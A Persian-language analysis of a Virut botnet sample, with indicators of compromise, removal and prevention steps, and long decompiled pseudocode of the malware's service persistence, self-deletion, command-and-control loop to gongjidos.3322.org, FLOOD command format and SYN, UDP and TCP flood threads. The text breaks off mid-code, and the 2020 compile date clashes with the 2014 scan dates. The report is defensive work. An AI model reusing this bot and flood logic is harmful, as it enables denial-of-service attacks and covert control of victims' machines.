# گزارش تحلیل بدافزار Virut و ارایه راهکارهای مقابله

## معرفی بدافزار

Virut یکی از بزرگترین شبکه‌های بات موجود در دنیاست که از طریق بدافزاری با همین نام گسترش می‌یابد. بر طبق آمار ارایه شده توسط کسپراسکی، در سال ۲۰۱۲ این شبکه‌ی بات پنجمین شبکه بات شایع در دنیا بوده و کنترل بیش از ۳۰۰ هزار رایانه را در سراسر دنیا در اختیار داشته است. آلودگی به این بدافزار عمدتاً از طریق اجرای فایل‌های آلوده (که به ظاهر یک برنامه کاربردی سالم به نظر می‌رسند) و نیز صفحات وب آلوده اتفاق می‌افتد. از شبکه‌ی بات Virut عمدتاً برای انجام حملات منع سرویس توزیع شده، ارسال هرزنامه، تقلب و نیز سرقت داده استفاده می‌شود.

## شناسایی سیستم آلوده از طریق لاگ‌های شبکه

تمامی سیستم‌هایی از شبکه که با نام دامنه‌های gongjidos.3322.org و proxim.ircgalaxy.pl در ارتباط هستند آلوده می‌باشند.

## بررسی وجود آلودگی

۱. وجود کلید زیر در رجیستری ویندوز:

HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/svcname

۲. وجود سرویسی با نام svcname در قسمت سرویس‌های ویندوز

## نحوه پاک‌سازی سیستم

۱. حذف کلید زیر از رجیستری ویندوز:
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/svcname

۲. مراجعه به بخش سرویس‌های ویندوز (services.msc) و حذف سرویسی با نام svcname

۳. حذف فایل اجرایی متعلق به سرویس svcname از روی سیستم

۴. همچنین می‌توان با Sinkhole کردن نام‌های دامنه gongjidos.3322.org و proxim.ircgalaxy.pl و ارسال دستور Remove توسط یک کارگزار کنترل و فرمان خودساخته، تمامی آلودگی‌های موجود در شبکه را به یکباره حذف نمود.

## بررسی پاک بودن سیستم

۱. نبود کلید زیر در رجیستری ویندوز:
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/svcname

۲. نبود سرویسی با نام svcname در بخش سرویس‌های ویندوز

۳. نبود ارتباط با نام دامنه‌های gongjidos.3322.org و proxim.ircgalaxy.pl

## توصیه‌های امنیتی برای پیشگیری

۱. خودداری از اجرای فایل‌های ناشناس (کرک‌های ارایه شده برای نرم‌افزارها توسط تیم های ناشناس، فایل‌های دریافتی از اشخاص ناشناس، فایل‌های الحاق شده به ایمیل‌های ناشناس و ...)

۲. به‌روز بودن نرم‌افزار ضدبدافزار نصب شده بر روی سیستم

۳. مسدودسازی دسترسی به نام دامنه‌های gongjidos.3322.org و proxim.ircgalaxy.pl توسط مدیر شبکه

## مشخصات فایل تحلیل شده

مشخصات فایل تحلیل شده بدین شرح است:

File name: ebd0ec63c3c22c3d1a1e9a95189377cd9afc0a10

Type: Win32 PE (32-bit)

Compile Date: 14/09/2020

MD5: 06DCCBCFD1CD49FE1B5142B25CEB2A8D

SHA-1: EBD0EC63C3C22C3D1A1E9A95189377CD9AFC0A10

## سطح تهدید فایل تحلیل شده

نتیجه بررسی فایل تحلیل شده با استفاده از تارنمای Virustotal.com در جدول ذیل ارایه شده است. همانطور که مشاهده می‌شود از بین ۵۲ موتور تشخیص بدافزار ۴۶ عدد این فایل را به عنوان بدافزار وغالباً تحت عنوان بدافزار Virut تشخیص داده‌اند.

| Antivirus | Result | Update |
|---|---|---|
| AVG | Win32/Virut.H | 20140502 |
| Ad-Aware | Trojan.Proxy.Horst.AOO | 20140502 |
| Agnitum | Win32.Virut.Gen | 20140501 |

| | | |
|---|---|---|
| AhnLab-V3 | Win-Trojan/Horst.12752 | 20140501 |
| AntiVir | W32/Virut.R | 20140502 |
| Antiy-AVL | Virus/Win32.Virut.n | 20140502 |
| Avast | Win32:Virut | 20140502 |
| Baidu-International | Virus.Win32.Virut.Am | 20140502 |
| BitDefender | Trojan.Proxy.Horst.AOO | 20140502 |
| Bkav | W32.Vetor.PE | 20140428 |
| ByteHero | Virus.Win32.Heur.c | 20140502 |
| CAT-QuickHeal | W32.Lopown.B | 20140502 |
| Commtouch | W32/Virut.10396.B | 20140502 |
| Comodo | Virus.Win32.Virut.n | 20140502 |
| DrWeb | Win32.Virut.5 | 20140502 |
| ESET-NOD32 | Win32/Virut.NAI | 20140502 |
| Emsisoft | Trojan.Proxy.Horst.AOO (B) | 20140502 |
| F-Prot | W32/Virut.10396.B | 20140502 |
| F-Secure | Trojan.Proxy.Horst.AOO | 20140502 |
| Fortinet | W32/Virut.G | 20140502 |
| GData | Trojan.Proxy.Horst.AOO | 20140502 |
| Ikarus | Trojan.Win32.Veslorn | 20140502 |
| Jiangmin | Win32/Virut.gen | 20140502 |
| K7AntiVirus | Backdoor ( 04c5225f1 ) | 20140501 |

| | | |
|---|---|---|
| K7GW | Backdoor ( 04c5225f1 ) | 20140501 |
| Kaspersky | Virus.Win32.Virut.m | 20140502 |
| Kingsoft | Win32.Virut.ce.57344 | 20140502 |
| McAfee | W32/Virut.gen | 20140502 |
| McAfee-GW-Edition | Heuristic.BehavesLike.Win32.Suspicious-BAY.K | 20140501 |
| MicroWorld-eScan | Trojan.Proxy.Horst.AOO | 20140502 |
| Microsoft | Virus:Win32/Virut.I | 20140502 |
| NANO-Antivirus | Virus.Win32.Virut.jxol | 20140502 |
| Norman | Virut.P | 20140502 |
| Panda | W32/Virutas.gen | 20140502 |
| Qihoo-360 | Malware.QVM18.Gen | 20140502 |
| Rising | PE:Win32.Virut.GEN!485864 | 20140501 |
| Sophos | W32/Vetor-A | 20140502 |
| Symantec | W32.Virut!gen | 20140502 |
| TotalDefense | Win32/Virut.10585 | 20140501 |
| TrendMicro | PE_VIRUT.J-3 | 20140502 |
| TrendMicro-HouseCall | PE_VIRUT.J-3 | 20140502 |
| VBA32 | BScope.Trojan.Win32.Inject.2 | 20140502 |
| VIPRE | Trojan.Win32.Packer.eXPressorv1.3 (ep) | 20140502 |
| ViRobot | Win32.Virut.J | 20140502 |

| | | |
|---|---|---|
| Zillya | Backdoor.Hupigon.Win32.100092 | 20140501 |
| nProtect | Virus/W32.Virut.D | 20140430 |
| AegisLab | | 20140502 |
| CMC | | 20140429 |
| ClamAV | | 20140502 |
| Malwarebytes | | 20140502 |
| SUPERAntiSpyware | | 20140502 |
| TheHacker | | 20140501 |

## گزارش تحلیل

بررسی‌های اولیه نشان داد که فایل تحلیلی با استفاده از ابزار Expressor مبهم سازی شده است. بنابراین اولین فاز در فرآیند تحلیل، آنپک کردن فایل بود. خوشبختانه پکر مورد استفاده نسبتاً ساده بود و با اندکی تلاش فایل بدافزار آنپک شد. شکل زیر بخشی از اسمبلی فایل بدافزار که فرآیند اجرا را به کد آنپک شده انتقال می‌دهد را نشان می‌دهد.

```
.ex_cod:00442DAD loc_442DAD:                           ; CODE XREF: .ex_cod:00442767↑j
.ex_cod:00442DAD                push    8000h
.ex_cod:00442DB2                push    0
.ex_cod:00442DB4                push    dword ptr [ebp-24h]
.ex_cod:00442DB7                call    ds:VirtualFree
.ex_cod:00442DBD                push    8000h
.ex_cod:00442DC2                push    0
.ex_cod:00442DC4                push    dword ptr [ebp-4]
.ex_cod:00442DC7                call    ds:VirtualFree
.ex_cod:00442DCD                push    8000h
.ex_cod:00442DD2                push    0
.ex_cod:00442DD4                push    dword ptr [ebp-14h]
.ex_cod:00442DD7                call    ds:VirtualFree
.ex_cod:00442DDD                mov     eax, [ebp-38h]
.ex_cod:00442DE0                pop     edi
.ex_cod:00442DE1                pop     esi
.ex_cod:00442DE2                pop     ebx
.ex_cod:00442DE3                add     esp, 64h
.ex_cod:00442DE6                pop     ebp
.ex_cod:00442DE7                jmp     eax
.ex_cod:00442DE9 ; ---------------------------------------------------------------------------
.ex_cod:00442DE9
.ex_cod:00442DE9 loc_442DE9:                           ; CODE XREF: .ex_cod:00442879↑j
.ex_cod:00442DE9                pop     edi
.ex_cod:00442DEA                pop     esi
.ex_cod:00442DEB                pop     ebx
.ex_cod:00442DEC                leave
.ex_cod:00442DED                retn
```

پس از یافتن OEP و تصحیح جدول ورودی‌های برنامه (IAT)، فایل آنپک شده مجدداً مورد تحلیل قرار گرفت که اینبار عملکردهای داخلی برنامه به وضوح مشخص و قالب تحلیل بود. بررسی‌های اولیه نشان می‌دهد که این فایل به احتمال زیاد با استفاده از چهارچوب MFC توسعه یافته است.

### تابع WinMain

فرآیند اصلی اجرای بدافزار از تابع WinMain آغاز می‌شود که شبه کد عملکرد آن در شکل زیر ارایه شده است.

```
int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
  SERVICE_TABLE_ENTRYA ServiceStartTable; // [sp+0h] [bp-10h]@2
  int v6; // [sp+8h] [bp-8h]@2
  int v7; // [sp+Ch] [bp-4h]@2

  if ( CheckRegistry() )
  {
    ServiceStartTable.lpServiceName = "svcname";
    ServiceStartTable.lpServiceProc = ServiceRoutine;
    v6 = 0;
    v7 = 0;
    StartServiceCtrlDispatcherA(&ServiceStartTable);
  }
  else
  {
    CreateServiceForModule("svcname", DisplayName, &Data);
    if ( AttackLoopCount )
    {
      DeleteSelfFile();
      exit(0);
    }
  }
  return 0;
}
```

عملکرد کلی این تابع بدین صورت است که ابتدا با فراخوانی تابع CheckRegistry و بررسی خروجی آن در رابطه با شیوه‌ی ادامه کار تصمیم‌گیری می‌کند. در صورتی که خروجی این تابع غیر از صفر باشد، فرض برنامه بر این است که در قالب یک سرویس ویندوز اجرا شده است و در نتیجه تابع ServiceRoutine را به عنوان تابع اصلی سرویس‌دهی به سیستم عامل معرفی می‌کند. در این صورت این تابع به صورت خودکار توسط سیستم عامل فراخوانی خواهد شد.

در صورتی که خروجی تابع CheckRegistry صفر باشد، ابتدا تابع CreateServiceForModule را فراخوانی می‌کند و پس از آن با چک کردن مقدار متغیر AttackLoopCount در صورت برقراری شرایط، تابع DeleteSelfFile را فراخوانی می‌نماید.

## تابع CheckRegistry

عملکرد تابع CheckRegistry در شکل زیر ارایه شده است:

```
BOOL CheckRegistry()
{
  HKEY phkResult; // [sp+Ch] [bp-108h]@1
  CHAR SubKey; // [sp+10h] [bp-104h]@1
  char v3; // [sp+11h] [bp-103h]@1
  __int16 v4; // [sp+111h] [bp-3h]@1
  char v5; // [sp+113h] [bp-1h]@1

  memset(&v3, 0, 0x100u);
  v4 = 0;
  v5 = 0;
  strcpy(&SubKey, "SYSTEM\\CurrentControlSet\\Services\\");
  strcat(&SubKey, "svcname");
  return RegOpenKeyExA(HKEY_LOCAL_MACHINE, &SubKey, 0, 0xF003Fu, &phkResult) == 0;
}
```

این تابع، در جستجوی کلید زیر در رجیستری ویندوز است:

HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/svcname

در صورتی که کلید زیر در رجیستری موجود باشد، خروجی تابع غیر صفر و در غیر این صورت خروجی صفر خواهد بود. بعداً خواهیم دید که این کلید از رجیستری برای نصب بدافزار بر روی سیستم استفاده می‌شود و در واقع در این بخش بدافزار در حال چک کردن نصب بودن و یا نبودن خود بر روی سیستم است.

در صورتی که خروجی تابع CheckRegistry صفر باشد، بدافزار با فراخوانی تابع CreateServiceForModule فرآیند نصب بدافزار را آغاز می‌کند.

## تابع CreateServiceForModule

عملکرد این تابع در شکل زیر ارایه گردیده است. عملکرد این تابع بدین صورت است: ابتدا نام فایل اجرا شده توسط بدافزار بررسی شده و از وجود پسوند exe. در انتهای آن اطمینان حاصل می‌شود. در صورتی که پسوند مذکور در انتهای نام فایل وجود نداشت توسط بدافزار به آن الحاق می‌شود. پس از آن یک نمونه از فایل بدافزار در مسیر Windows\System32 کپی می‌شود. در مرحله بعد بدافزار با استفاده از API مربوطه، این فایل کپی شده را به عنوان یک سرویس در سیستم عامل ویندوز ثبت می‌کند تا در هنگام بوت سیستم به صورت خودکار اجرا شود. در نهایت بدافزار کلید ذکرشده را در رجیستری ویندوز ایجاد کرده و در اینجا فرآیند نصب خاتمه می‌یابد.

```
  v3 = 0;
  GetModuleFileNameA(0, &Filename, 0x104u);
  GetSystemDirectoryA(&Buffer, 0x104u);
  if ( strncmp(&Buffer, &Filename, strlen(&Buffer)) )
  {
    GetFileTitleA(&Filename, &Buf, 0x50u);
    if ( !strstr(&Buf, ".exe") && !strstr(&Buf, ".EXE") )
      strcat(&Buf, ".exe");
    strcat(&Buffer, "\\");
    strcat(&Buffer, &Buf);
    CopyFileA(&Filename, &Buffer, 0);
    memset(&Filename, 0, 0x104u);
    strcpy(&Filename, &Buffer);
    AttackLoopCount = 1;
    v3 = 0;
  }
  phkResult = 0;
  v10 = 0;
  v11 = 0;
  ms_exc.registration.TryLevel = 0;
  v4 = OpenSCManagerA(0, 0, 0xF003Fu);
  v5 = v4;
  v11 = v4;
  if ( v4 )
  {
    v3 = CreateServiceA(v4, lpServiceName, lpDisplayName, 0xF01FFu, 0x10u, 2u, 0, &Filename, 0, 0, 0, 0, 0);
    v10 = v3;
    if ( !v3 && GetLastError() == 1073 )
    {
      v6 = OpenServiceA(v5, lpServiceName, 0xF01FFu);
      v3 = v6;
      v10 = v6;
      if ( !v6 )
        goto LABEL_13;
      StartServiceA(v6, 0, 0);
    }
    if ( StartServiceA(v3, 0, 0) )
    {
      strcpy(&SubKey, "SYSTEM\\CurrentControlSet\\Services\\");
      strcat(&SubKey, lpServiceName);
      RegOpenKeyA(HKEY_LOCAL_MACHINE, &SubKey, &phkResult);
      v7 = lstrlen(lpData);
      RegSetValueExA(phkResult, "Description", 0, 1u, lpData, v7);
      v5 = v11;
    }
  }
LABEL_13:
  ms_exc.registration.TryLevel = -1;
  if ( v3 )
    CloseServiceHandle(v3);
  if ( v5 )
    CloseServiceHandle(v5);
  result = phkResult;
  if ( phkResult )
    result = RegCloseKey(phkResult);
  return result;
```

پس از اجرای تابع CreateServiceForModule و بازگشت به تابع WinMain، بدافزار موفقیت آمیز بودن فرآیند نصب سرویس را بررسی می‌کند و در صورت موفقت آمیز بودن آن عملیات، بدافزار با فراخوانی تابع DeleteSelfFile فایل اولیه اجرا شده را از روی سیستم حذف می‌کند.

## تابع DeleteSelfFile

عملکرد تابع DeleteSelfFile در شکل زیر ارایه شده است:

```
signed int DeleteSelfFile()
{
  HANDLE v0; // eax@4
  HANDLE v1; // eax@4
  HANDLE v3; // eax@6
  HANDLE v4; // eax@6
  struct _PROCESS_INFORMATION ProcessInformation; // [sp+20h] [bp-360h]@4
  struct _STARTUPINFOA StartupInfo; // [sp+30h] [bp-350h]@4
  CHAR Filename; // [sp+74h] [bp-30Ch]@1
  char v8; // [sp+178h] [bp-208h]@4
  CHAR Buffer; // [sp+27Ch] [bp-104h]@3

  if ( GetModuleFileNameA(0, &Filename, 0x104u)
    && GetShortPathNameA(&Filename, &Filename, 0x104u)
    && GetEnvironmentVariableA("COMSPEC", &Buffer, 0x104u) )
  {
    lstrcpy(&v8, " /c  del ");
    lstrcat(&v8, &Filename);
    lstrcat(&v8, " > nul");
    lstrcat(&Buffer, &v8);
    ProcessInformation.hProcess = 0;
    memset(&StartupInfo.lpReserved, 0, 0x40u);
    StartupInfo.wShowWindow = 0;
    ProcessInformation.hThread = 0;
    ProcessInformation.dwProcessId = 0;
    ProcessInformation.dwThreadId = 0;
    StartupInfo.cb = 68;
    StartupInfo.dwFlags = 1;
    v0 = GetCurrentProcess();
    SetPriorityClass(v0, 0x100u);
    v1 = GetCurrentThread();
    SetThreadPriority(v1, 15);
    if ( CreateProcessA(0, &Buffer, 0, 0, 0, 0xCu, 0, 0, &StartupInfo, &ProcessInformation) )
    {
      SetPriorityClass(ProcessInformation.hProcess, 0x40u);
      SetThreadPriority(ProcessInformation.hThread, -15);
      ResumeThread(ProcessInformation.hThread);
      return 1;
    }
    v3 = GetCurrentProcess();
    SetPriorityClass(v3, 0x20u);
    v4 = GetCurrentThread();
    SetThreadPriority(v4, 0);
  }
  return 0;
}
```

به صورت کلی، عملکرد این تابع بدین صورت است که یک رشته حاوی دستور حذف فایل اجرایی بدافزار ایجاد شده و سپس این رشته به عنوان آرگومان خط فرمان توسط تابع Createprocess در محیط CMD اجرا می‌شود. این فرآیند باعث می‌شود فایل اجرایی اولیه بدافزار از روی سیستم حذف شود.

در صورتی که خروجی تابع CheckReigstry صفر نباشد، بدافزار فرض را بر این می‌گذارد که بر روی سیستم نصب بوده و در قالب یک سرویس در حال اجراست. در این حالت بدافزار تابع ServiceRoutine را به عنوان سرویس دهنده به سیستم عامل معرفی کرده و این تابع توسط سیستم عامل فراخونی می‌شود.

### تابع ServiceRoutine

شمای کلی عملکرد تابع ServiceRoutine در شکل زیر ارایه گردیده است

```
void __stdcall ServiceRoutine(int a1)
{
  struct WSAData WSAData; // [sp+Ch] [bp-190h]@1

  hServiceStatus = RegisterServiceCtrlHandlerA("svcname", HandlerProc);
  ServiceStatus.dwServiceType = 32;
  ServiceStatus.dwControlsAccepted = 7;
  ServiceStatus.dwWin32ExitCode = 0;
  ServiceStatus.dwWaitHint = 2000;
  ServiceStatus.dwCheckPoint = 1;
  ServiceStatus.dwCurrentState = 2;
  SetServiceStatus(0, &ServiceStatus);
  ServiceStatus.dwCheckPoint = 0;
  Sleep(500u);
  ServiceStatus.dwCurrentState = 4;
  SetServiceStatus(0, &ServiceStatus);
  WSAStartup(0x202u, &WSAData);
  SynThreadHandle = 0;
  UDPThreadHandle = 0;
  TCPThreadHandle = 0;
  ICMPThreadHandle = 0;
  while ( 1 )
  {
    StopAttackFlag = 1;
    ConnectToCCAndWaitForCommand();
    Sleep(5000u);
  }
}
```

عملکرد اساسی این تابع بخش پایانی آن است که یک حلقه بی‌نهایت را شامل می‌شود. در این حلقه بی‌نهایت بدافزار دائماً مقدار متغیر StopAttackFlag را برابر با ۱ قرار می‌دهد. تابع ConnectToCCAndWaitForCommand را اجرا کرده و پس از اتمام فعالیت این تابع، به مدت ۵ ثانیه به خواب می‌رود. متغیر StopAttackFlag به منظور توقف نخ‌های پیشین برنامه است که کارکرد دقیق آن را در ادامه خواهیم دید.

### تابع ConnectToCCAndWaitForCommand

شمای کلی عملکرد این تابع در شکل زیر ارایه گردیده است:

```
struct hostent *ConnectToCCAndWaitForCommand()
{
  struct hostent *result; // eax@2
  SOCKET v1; // esi@4
  int v2; // eax@7
  struct sockaddr name; // [sp+10h] [bp-4A4h]@1
  fd_set readfds; // [sp+20h] [bp-494h]@7
  char buf; // [sp+124h] [bp-390h]@1
  struct WSAData WSAData; // [sp+324h] [bp-190h]@1

  WSAStartup(0x102u, &WSAData);
  name.sa_family = 2;
  memset(&buf, 0, 0x200u);
  *&name.sa_data[0] = htons(1800u);
  *&name.sa_data[2] = inet_addr("gongjidos.3322.org");
  if ( *&name.sa_data[2] == -1 )
  {
    result = gethostbyname("gongjidos.3322.org");
    if ( !result )
      return result;
    qmemcpy(&name.sa_data[2], *result->h_addr_list, result->h_length);
    name.sa_family = result->h_addrtype;
  }
  result = socket(2, 1, 6);
  v1 = result;
  if ( result != -1 )
  {
    result = connect(result, &name, 16);
    if ( result != -1 )
    {
      CheckWindowsVersion(v1);
      while ( 1 )
      {
        readfds.fd_array[0] = v1;
        readfds.fd_count = 1;
        v2 = select(v1 + 1, &readfds, 0, 0, 0);
        if ( v2 == -1 || !v2 )
          break;
        if ( _WSAFDIsSet(v1, &readfds) )
        {
          if ( recv(v1, &buf, 512, 0) <= 0 )
            break;
          if ( CommandInterpretation(&buf) && send(v1, "OK", 2, 0) == -1 && WSAGetLastError() != 10035 )
            return closesocket(v1);
        }
        memset(&buf, 0, 0x200u);
        Sleep(500u);
      }
      closesocket(v1);
      result = closesocket(v1);
    }
  }
  return result;
}
```

همانطور که مشاهده می‌شود، عملکرد کلی این تابع بدین صورت است که ابتدا سعی دارد با Resolve کردن آی‌پی متعلق به دامنه gongjidos.3322.org با این آدرس ارتباط TCP برقرار کند. در صورتی که برقراری ارتباط موفقیت آمیز نباشد، تابع به کار خود خاتمه می‌دهد. اما در صورتی که ارتباط موفقیت آمیز باشد، ابتدا تابع

CheckWindowsVersion فراخوانی می‌شود و پس از آن وارد یک حلقه بی‌نهایت می‌شویم که در این حلقه مدام وضعیت ارتباط برقرار شده بررسی می‌شود. در صورتی که داده‌ای برای خواندن وجود داشت، داده خوانده شده و تابع CommandInterpretation بر روی داده دریافت شده اجرا می‌شود. در صورتی که خروجی تابع CommandInterpretation مثبت بود، عبارت OK بر روی سوکت باز شده ارسال می‌شود و در صورتی که هر یک از مراحل فوق موفقیت آمیز نبود ارتباط قطع شده و مجدداً برای برقراری ارتباط تلاش می‌شود. در عین حال درصورتی که تمامی موارد فوق موفقیت آمیر باشد، تابع برای مدت ۵۰۰ میلی ثانیه به خواب رفته و پس از آن فرآیند تشریح شده را از سر می‌گیرد.

## تابع CheckWindowsVersion

شکل زیر شمای کلی عملکرد این تابع را نشان می‌دهد.

```
int __cdecl CheckWindowsVersion(SOCKET s)
{
  int v1; // ST08_4@13
  const char *v2; // eax@13
  char v4; // [sp+4h] [bp-DCh]@5
  int v5; // [sp+8h] [bp-D8h]@1
  char Dest; // [sp+Ch] [bp-D4h]@3
  struct _MEMORYSTATUS Buffer; // [sp+20h] [bp-C0h]@13
  struct _OSVERSIONINFOA VersionInformation; // [sp+40h] [bp-A0h]@1
  int v9; // [sp+DCh] [bp-4h]@1

  CString::CString(&v5);
  VersionInformation.dwOSVersionInfoSize = 148;
  memset(&VersionInformation.dwMajorVersion, 0, 0x90u);
  v9 = 0;
  GetVersionExA(&VersionInformation);
  if ( VersionInformation.dwMajorVersion == 5 )
  {
    if ( VersionInformation.dwMinorVersion )
    {
      if ( VersionInformation.dwMinorVersion == 1 )
      {
        CString::CString(&v4, VersionInformation.szCSDVersion);
        LOBYTE(v9) = 1;
        CString::FreeExtra(&v4);
        if ( CString::Find(&v4, "Service") < 0 || CString::Find(&v4, "Pack") < 0 || CString::Find(&v4, "2") < 0 )
          sprintf(&Dest, "win xp");
        else
          sprintf(&Dest, "win xp sp2");
        LOBYTE(v9) = 0;
        CString::~CString(&v4);
      }
      else if ( VersionInformation.dwMinorVersion == 2 )
      {
        sprintf(&Dest, "win 2003");
      }
    }
    else
    {
      sprintf(&Dest, "win 2000");
    }
  }
  Buffer.dwLength = 32;
  GlobalMemoryStatus(&Buffer);
  CString::Format(&v5, "HX:%d|%s", (Buffer.dwTotalPhys >> 20) + 1, &Dest);
  v1 = *(v5 - 8) + 1;
  v2 = CString::GetBuffer(&v5, 0);
  send(s, v2, v1, 0);
  v9 = -1;
  return CString::~CString(&v5);
}
```

همان‌گونه که در شکل فوق قابل مشاهده است، عملکرد اصلی این تابع، ارسال رشته‌ای در قالب "HX:%d|%s" به سوی سرور است. در این رشته، %d نمایانگر میزان RAM سیستم و %S نمایانگر نسخه سیستم عامل قربانی است که برحسب بررسی‌های صورت گرفته می‌تواند شامل یکی از مقادیر win xp، win xp sp2، win 2003، win 2000 باشد.

## تابع CommandInterpretaion

شاید بتوان گفت که مهمترین تابع در این بدافزار، همین تابع می‌باشد. عملکرد اصلی این تابع دریافت دستورات از کارگزار کنترل و فرمان و اجرای آن‌هاست. در کل دستوراتی که از سوی کارگزار ارسال می‌شوند با یکی از ۳ رشته زیر آغاز می‌شوند:

- FLOOD: این دستور برای اجرای حمله DoS مورد استفاده قرار می‌گیرد. قالب کلی این دستورات بدین صورت است:

FLOOD:Address|Port|AttackDuration|PacketInterval|Attacktype|Ignored

در این قالب Address آدرس آی‌پی سیستم هدف است (مقدار پیش‌فرض آن 192.168.1.2 می‌باشد). Port شماره پورت هدف را نشان می‌دهد (مقدار پیش‌فرض آن ۸۰ است)، AttackDuration مدت زمان انجام حمله بر حسب دقیقه است (مقدار پیش‌فرض آن ۲ ساعت است)، PacketInterval فاصله زمانی میان بسته‌های حمله بر حسب ثانیه است (مقدار پیش‌فرض آن ۲ ثانیه است)، AttackType نوع حمله را نشان می‌دهد که می‌تواند شامل یکی از مقادیر syn، udp، tcp، icmp و break باشد و در نهایت بخش Ignored نایده گرفته می‌شود. انواع حملات قالب انجام در ادامه توضیح داده خواهد شد.

```
if ( strstr(&Part5, "syn") )
  SynThreadHandle = CreateThread(0, 0, SynThread, 0, 0, 0);
if ( strstr(&Part5, "udp") )
  UDPThreadHandle = CreateThread(0, 0, UDPThread, 0, 0, 0);
if ( strstr(&Part5, "tcp") )
  TCPThreadHandle = CreateThread(0, 0, TCPThread, 0, 0, 0);
if ( strstr(&Part5, "icmp") )
  ICMPThreadHandle = CreateThread(0, 0, ICMPThread, 0, 0, 0);
if ( strstr(&Part5, "break") )
  CreateThread(0, 0, BreakThread, 0, 0, 0);
CreateThread(0, 0, CleanUpThread, 0, 0, 0);
```

- STOPATTACK: برای لغو دستورات حمله قبلی مورد استفاده قرار می‌گیرد

```
if ( strstr(Str1, "STOPATTACK") )
{
  StopAttackFlag = 1;
  TerminateThread(SynThreadHandle, 0);
  TerminateThread(UDPThreadHandle, 0);
  TerminateThread(TCPThreadHandle, 0);
  TerminateThread(ICMPThreadHandle, 0);
  CloseHandle(SynThreadHandle);
  CloseHandle(UDPThreadHandle);
  CloseHandle(TCPThreadHandle);
  CloseHandle(ICMPThreadHandle);
  SynThreadHandle = 0;
  UDPThreadHandle = 0;
  TCPThreadHandle = 0;
  ICMPThreadHandle = 0;
  result = 1;
}
```

- REMOVE: در صورت دریافت این دستور، بدافزار خود را از روی سیستم قربانی پاک می‌کند.

```
if ( strstr(Str1, "REMOVE") )
{
  v23 = OpenSCManagerA(0, 0, 2u);
  v24 = OpenServiceA(v23, "svcname", 0xF01FFu);
  DeleteService(v24);
  exit(0);
}
```

## انواع حملات قابل انجام توسط بدافزار

در کل ۵ نوع حمله DoS توسط این بدافزار قابل انجام است که عبارتند از:

۱. **حمله syn**: در کل شیوه انجام این حمله بدین صورت است که یک بافر حجیم از اطلاعات بیهوده در قالب یک بسته‌ی بسیار بزرگ و با استفاده از پروتکل TCP دائماً برای آدرس آی‌پی و پورت هدف ارسال می‌شود. شکل زیر شبه کد اجرای این حمله توسط بدافزار را نشان می‌دهد:

```
DWORD __stdcall SynThread()
{
  DWORD result; // eax@1
  SOCKET v1; // ebx@1
  const char *v2; // esi@8
  char v3[4]; // [sp+10h] [bp-1A8h]@3
  char optval[4]; // [sp+14h] [bp-1A4h]@2
  struct sockaddr to; // [sp+18h] [bp-1A0h]@4
  struct WSAData WSAData; // [sp+28h] [bp-190h]@1

  Sleep(2000u);
  WSAStartup(0x202u, &WSAData);
  result = WSASocketA(2, 3, 255, 0, 0, 1u);
  v1 = result;
  if ( result != -1 )
  {
    *optval = 1;
    result = setsockopt(result, 0, 2, optval, 4);
    if ( result != -1 )
    {
      *v3 = 5000;
      result = setsockopt(v1, 0xFFFF, 4101, v3, 4);
      if ( result != -1 )
      {
        to.sa_family = 2;
        strcpy(to.sa_data, "P");
        *&to.sa_data[2] = inet_addr("192.168.1.2");
        if ( *&to.sa_data[2] != -1 )
          goto LABEL_7;
        result = gethostbyname("192.168.1.2");
        if ( result )
        {
          qmemcpy(&to.sa_data[2], **(result + 12), *(result + 10));
          to.sa_family = *(result + 8);
LABEL_7:
          while ( StopAttackFlag != 1 )
          {
            v2 = SynData;
            do
            {
              if ( sendto(v1, v2, 40, 0, &to, 16) == -1 )
                goto LABEL_12;
              v2 += 60;
            }
            while ( v2 < &AttackLoopCount );
            Sleep(StopTimeBetweenAttackPackets);
          }
LABEL_12:
          ExitThread(0);
        }
      }
    }
  }
  return result;
}
```

۲. **حمله udp**: در این نوع حمله، مجموعه مشخصی از داده‌ها ۸۰۰۰ بار با استفاده از پروتکل udp برای آدرس آی‌پی و پورت قربانی ارسال می‌شوند. شکل زیر شبه کد اجرای این حمله توسط بدافزار را نشان می‌دهد:

```
int __stdcall UDPThread()
{
  int result; // eax@1
  SOCKET v1; // ebx@1
  signed int v2; // esi@8
  char optval[4]; // [sp+10h] [bp-1A4h]@2
  struct sockaddr to; // [sp+14h] [bp-1A0h]@4
  struct WSAData WSAData; // [sp+24h] [bp-190h]@1

  Sleep(0x7D0u);
  WSAStartup(0x202u, &WSAData);
  result = WSASocketA(2, 3, 17, 0, 0, 0);
  v1 = result;
  if ( result != -1 )
  {
    *optval = 1;
    if ( setsockopt(result, 0, 2, optval, 4) == -1 )
      return printf("setsockopt Error!\n");
    to.sa_family = 2;
    *&to.sa_data[0] = htons(PortNumber);
    *&to.sa_data[2] = inet_addr("192.168.1.2");
    if ( *&to.sa_data[2] != -1 )
    {
LABEL_7:
      while ( StopAttackFlag != 1 )
      {
        v2 = 8000;
        do
        {
          sendto(v1, buf, len, 0, &to, 16);
          --v2;
        }
        while ( v2 );
        Sleep(StopTimeBetweenAttackPackets);
      }
      ExitThread(0);
    }
    result = gethostbyname("192.168.1.2");
    if ( result )
    {
      qmemcpy(&to.sa_data[2], **(result + 12), *(result + 10));
      to.sa_family = *(result + 8);
      goto LABEL_7;
    }
  }
  return result;
}
```

۳. **حمله tcp**: در این حمله، دائماً یک ارتباط TCP با سیستم قربانی برقرار شده و یک رشته بلند حاوی یک درخواست تقلبی http برای آن ارسال می‌شود. این کار حداکثر ۱۰۲۴۰ بار تکرار می‌شود. شکل زیر شبه کد اجرای این حمله توسط بدافزار را نشان می‌دهد:

```
DWORD __stdcall TCPThread()
{
  unsigned int v0; // kr08_4@1
  DWORD result; // eax@2
  SOCKET v2; // esi@5
  signed int v3; // ebp@6
  struct sockaddr name; // [sp+Ch] [bp-1A0h]@1
  struct WSAData WSAData; // [sp+1Ch] [bp-190h]@1

  WSAStartup(0x202u, &WSAData);
  v0 = strlen("GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^*
     + 1;
  name.sa_family = 2;
  *&name.sa_data[6] = 0;
  *&name.sa_data[10] = 0;
  *&name.sa_data[0] = htons(PortNumber);
  inet_addr("192.168.1.2");
